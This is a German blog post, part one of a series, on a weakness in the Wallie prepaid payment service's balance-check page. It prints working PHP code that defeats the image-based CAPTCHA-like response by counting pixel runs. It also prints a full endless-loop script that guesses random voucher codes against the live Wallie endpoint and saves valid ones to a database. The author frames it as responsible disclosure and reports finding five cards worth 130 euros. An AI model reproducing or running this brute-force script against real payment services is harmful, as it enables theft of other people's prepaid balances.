Internet Payment-Anbieter – Security through Obscurity (Teil 1/Wallie)
Payment-Provider im Internet, welche mit virtueller Währung reale Einkäufe ermöglichen, haben in dieser Zeit Hochkonjunktur. Paypal machte es vor, man lädt Geld per Überweisung (o.Ä.) auf sein Paypal-Konto und kann dann schnell und bequem im Internet einkaufen. Diesen, wenn auch nicht wirklich neuen Weg des Bezahlen im Internets haben neben Paypal auch andere Payment-Provider adaptiert. So kann man beispielsweise an Tankstellen Prepaid-Karten kaufen und mit den auf der Karte befindlichen Guthaben-Codes im Internet bezahlen, solange die Karte ausreichend gedeckt ist.
Zwei Dienstleister sind in diesem Segment in Deutschland marktführend: PaySafeCard sowie, seit Kurzem, Wallie. Beide bieten ein elektronisches Zahlungsmittel für vorwiegend digitale Güter an, das nach dem Prepaid-System funktioniert. Doch was ist so toll daran, derartig seine Rechnungen zu begleichen? Sicherlich der Sicherheitsaspekt, denn man gibt keine Kontodaten an Dritte preis. Auch ist das Geld sofort beim Verkäufer oder Dienstleister, bei welchem man ein Produkt bestellt, gutgeschrieben. Die Kostenkontrolle, welche ein auf Prepaid-Guthaben basierendes System nunmal mit sich bringt rundet das Ganze ab, oder nicht?
Die Frage welche sich mir stellte war folgende: Was passiert eigentlich, wenn jemand anders meinen Code nutzt, welchen ich gerade erst erworben habe? Um der Antwort auf diese Frage nachzugehen, habe ich mir die genannten Dienstleister etwas genauer angeschaut und erstaunliches festgestellt.
1.) Wallie – “Dein Internet-Portomonnaie”
1.1) Wallie wurde im Jahr 2003 in den Niederlanden gegründet und begann den Verkauf der “Wallie-Karte” in Deutschland Anfang Juni 2008. Mit derzeit weit über 10.000 Verkaufsstellen in Deutschland, teilen sich Wallie und PaySafeCard als Monopolisten auf diesem Bereich den deutschen Markt.
Als Käufer einer sogenannten “Wallie-Card”, welche an Tankstellen auch in Form eines auf einen Bon gedruckten Codes verkauft werden, kann man bequem und leicht im Internet bezahlen. Wieviel Geld noch auf der Karte vorhanden ist, lässt sich auf der offiziellen Webseite ermitteln. Hier gibt es die Funktion “Deinen Saldo prüfen“, welche es dem Kunden ermöglicht, durch eingabe des auf der Karte oder dem Bon vorhandenen Codes das Guthaben abzurufen.
1.2) Die Wallie-Karte hat grundsätzlich folgenden Aufbau des Codes: 1234-5678-9012-3456-ABC. Es gibt also eine Nummer, aus einem Pool von (10^16) * (26 ^ 3) möglichen Kombinationen, also ganze 175760000000000000000 oder anders ausgedrückt 17576*10^16. Ist es also möglich, einen gültigen Code zu erraten und vor allem, kann man diesen Vorgang in irgendeiner Weise automatisieren? Das wollte ich genauer wissen.
1.3) Um nicht per Hand unzählige Codes auszuprobieren ist es von Vorteil diesen Vorgang zu automatisieren. Wie bereits in 1.1 genannt, gibt es eine Funktion um das Saldo eines Codes zu überprüfen. Diese Funktion gibt dann entweder den Wert einer Karte zurück, oder eben einen Fehler in Form von einem “nicht gefunden“. Soweit sogut, mehr brauch man eigentlich nicht. Problem an dieser Sache: Dies geschieht nicht in Textform, sondern als Grafik, ähnlich einem Captcha.
1.4) Jetzt fehlt noch eine Möglichkeit, diese Grafiken automatisiert auswerden zu lassen – Ideen? [...] Jep, man könnte das Captcha knacken, hatte ich aber keine Lust drauf – andere Ideen? [...] Nunja, die nächste Idee war eine Farbwertanalyse. Anhand der Helligkeitsunterschiede kann man vermuten, dass das untere Bild mehr dunkle Pixel aufweist als das obere. Falsch! Beide Grafiken weisen (fast) den gleichen Median, bezogen auf schwarze Pixel in der Grafik auf – soviel zu dieser Idee.
Letztlich habe ich mir die Verteilung der schwarzen Pixel einmal genauer angeschaut. Hierzu habe ich mir eine Pixelmatrix anfertigen lassen, welche alle Beigetöne herausfiltert und für schwarze Pixel ein X setzt, das Resultat:
Na das hat doch mal was! Auf dieser Grafik kann man wunderbar die Verteilung der schwarzen Pixel erkennen. Wenn man den Code ein wenig anpasst, kann man auch die Streupixel (absichtliche Fehler um das Captcha schwerer lesbar zu machen) herausfiltern.
Mittels dieser Grafik hatte ich erstmal einen Anhaltspunkt, um mit meiner Idee fortzufahren. Um auch herauszufinden wie die Pixel bei einer nicht gültigen Karte verteilt sind, habe ich mir auch diese in eine Pixelmatrix ausgeben lassen.
Und auch hier kann man wunderbar erkennen, wie die Pixel über das Bild verteilt sind. Um jetzt mit diesen Informationen zu arbeiten, sollte man sich beide Verteilungen einmal genauer anschauen und auf eventuelle Unterschiede achten.
Die letztendliche Idee zur Programmierung des Algorithmus ist garnicht so schwer wie es aussieht, man beachte die Anzahl der nebeneinander liegenden Pixel. Bei der “0 EUR” Matrix finden sich sehr häufig viele Pixel, welche nebeneinander liegen, nichtso bei der Zweiten.
Captcha zu Pixel mit PHP (zählt die Pixelgruppen):
ini_set('max_execution_time',0);
$count = 0;
$file = "hierkommtdiegrafik.jpg";
$imgsize = GetImageSize($file);
$im = ImageCreateFromJPEG($file);
$x = $imgsize[0];
$y = $imgsize[1];
for ($a = 0;$a < $y; $a++) {
for ($b = 0;$b < $x; $b++) {
$rgb = imagecolorat($im, $b, $a);
if ($rgb < 5000000) { echo "X"; } else { echo " "; };
if (imagecolorat($im, $b-3,$a) < 5000000 && imagecolorat($im, $b-2,$a) < 5000000 && imagecolorat($im, $b-1,$a) < 5000000 && imagecolorat($im, $b,$a) < 5000000 && imagecolorat($im, $b+1,$a) < 5000000 && imagecolorat($im, $b+2,$a) < 5000000 && imagecolorat($im, $b+3,$a) < 5000000) { $count++; }
}
echo "\n";
}
echo $count;
Ich habe mir also einen Algorithmus geschrieben, welcher das von der “Deinen Saldo überprüfen”-Funktion zurückgelieferte Bild anhand der nebeneinander liegenden Pixel analysiert. Ein Wert von 7 (sieben) Pixeln hat sich hier als absolut zuverlässig ergeben. Es werden hierbei auch folgende Scenarien mehrfach gezählt:
BSP.: “XXXXXXXX” Hier gibt es zwei mal 7 nebeneinander liegende Pixel: XXXXXXXX + XXXXXXXX.
Eine Fehlergrafik (“nicht gefunden”) ergibt durchschnittlich 41 Pixelgruppen â 7 Pixel, hingegen eine Grafik mit Angabe eines Wertes der Karte durchschnittlich 178 (177.798). Um dies herauszufinden habe ich mir eine Grafik mit Wert 1000 Mal ausgeben und analysieren lassen, pro Ausgabe wurde eine neue Grafik erzeugt.
$lines = file('test.txt');
foreach ($lines as $line_num => $line) {
$x = $x + $line;
}
echo $x/1000;
1.5) Es gibt also einen deutlichen Unterschied zwischen der Fehlergrafik und der Grafik, welche die Korrektheit einer Karte bestätigt und somit auch den Wert dieser Ausgibt. Somit kann man eindeutig und nahezu fehlerfrei feststellen, ob eine Code existent ist oder nicht und somit auch gültige Nummern durch automatisiertes Abfragen von Codes herausfinden. In meinem Beispiel behalte ich alle möglichen Treffer als Grafiken auf meinem System, damit ich letztendlich die Codes nicht nochmal gegenprüfen muss. Auch habe ich dann somit gleich den Wert einer Karte vorliegen. Codes werden darüberhinaus in einer Datenbank gespeichert, ggf. für späteres Nutzen.
Jetzt mögen viele das Argument anführen, dass es sehr Unwahrscheinlich ist, einen gültigen Code herauszufinden. Dies ist korrekt, trotzdem stellt Security through Obscurity keine Lösung dar (siehe nächster Absatz).
Wallie wurde von mir über diesen Missstand telefonisch und per Mail inklusive PoC-Code unterrichtet, der zuständige Chef der Entwicklerabteilung hat die Problematik in der Entwickler-Konferenz angesprochen und eine Lösung wurde bereits erarbeitet. Natürlich habe ich keine Codes, welche ich in der Testphase gefunden habe, genutzt. (Nach einem Testlauf von 7 Tagen, von 10 verschiedenen Rechnern, kamen 5 existierende Karten mit einem Gesamtwert von 130 Euro heraus).
Im zweiten Teil folgt die PaySafeCard.
1.6) Das fertige Script:
ini_set('max_execution_time',0);
while(1) {
DoSpam();
GetCode($randomcode);
}
function DoSpam()
{
global $randomcode;
//Die Session initialisieren
$ch = curl_init();
// Session Optionen setzen
// Setup headers - Nutze die Header von Firefox 3.6
$header[0] = "Accept: text/html,application/xhtml+xml,application/xml;";
$header[0] .= "q=0.9,*/*;q=0.8";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 115";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3";
$randomcode = genRandomInt().genRandomInt().genRandomInt().genRandomInt().genRandomString();
$loginSource = fopen("codes/".$randomcode.".jpg","w");
curl_setopt($ch, CURLOPT_URL, "http://www.wallie.de/scripts/showSaldo.php?lang=DE&code=$randomcode");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2) Gecko/20100115 Firefox/3.6");
curl_setopt($ch, CURLOPT_REFERER, "http://www.wallie.de/");
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FILE, $loginSource);
//Ausführen der Aktionen
curl_exec($ch);
//echo "\n> Using Cardnumber: ".chr(27)."[1;31m".$randomcode."".chr(27)."[0m";
}
function genRandomString() {
$length = 3;
$characters = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z");
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0,25)];
}
return $string;
}
function genRandomInt() {
$length = 4;
$characters = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0,9)];
}
return $string;
}
function GetCode($randomcode) {
global $randomcode, $conn;
$file = "codes/".$randomcode.".jpg";
$count = 0;
$imgsize = GetImageSize($file);
$im = ImageCreateFromJPEG($file);
$x = $imgsize[0];
$y = $imgsize[1];
for ($a = 0;$a < $y; $a++) {
for ($b = 0;$b < $x; $b++) {
$rgb = imagecolorat($im, $b, $a);
if (imagecolorat($im, $b-3,$a) < 5000000 && imagecolorat($im, $b-2,$a) < 5000000 && imagecolorat($im, $b-1,$a) < 5000000 && imagecolorat($im, $b,$a) < 5000000 && imagecolorat($im, $b+1,$a) < 5000000 && imagecolorat($im, $b+2,$a) < 5000000 && imagecolorat($im, $b+3,$a) < 5000000) { $count++; } } } // Wenn es moeglicherweise ein Treffer ist, diese Behalten und Eintragen if ($count > 80)
{
echo "\n".$count." - ".$randomcode."";
$conn = mysql_connect("host", "user","pass") or die ("Keine Verbindung moeglich");
mysql_select_db("wallie") or die ("Die Datenbank existiert nicht.");
mysql_query("SET NAMES 'utf8'");
mysql_query("SET CHARACTER SET 'utf8'");
$eintragen = mysql_query("INSERT INTO wallie (code, hits) VALUES ('$randomcode','$count')");
mysql_close($conn);
unset($eintragen);
}
else
{
system("rm -f codes/".$randomcode.".jpg");
}
unset($count);
}








[...] Hier geht es zu dem ersten Teil, Internet Payment-Anbieter – Security through Obscurity (Teil 1/Wa… [...]
Artikel am 11.04.2012 wieder eingestellt (Backup der Kommentare nicht übernommen).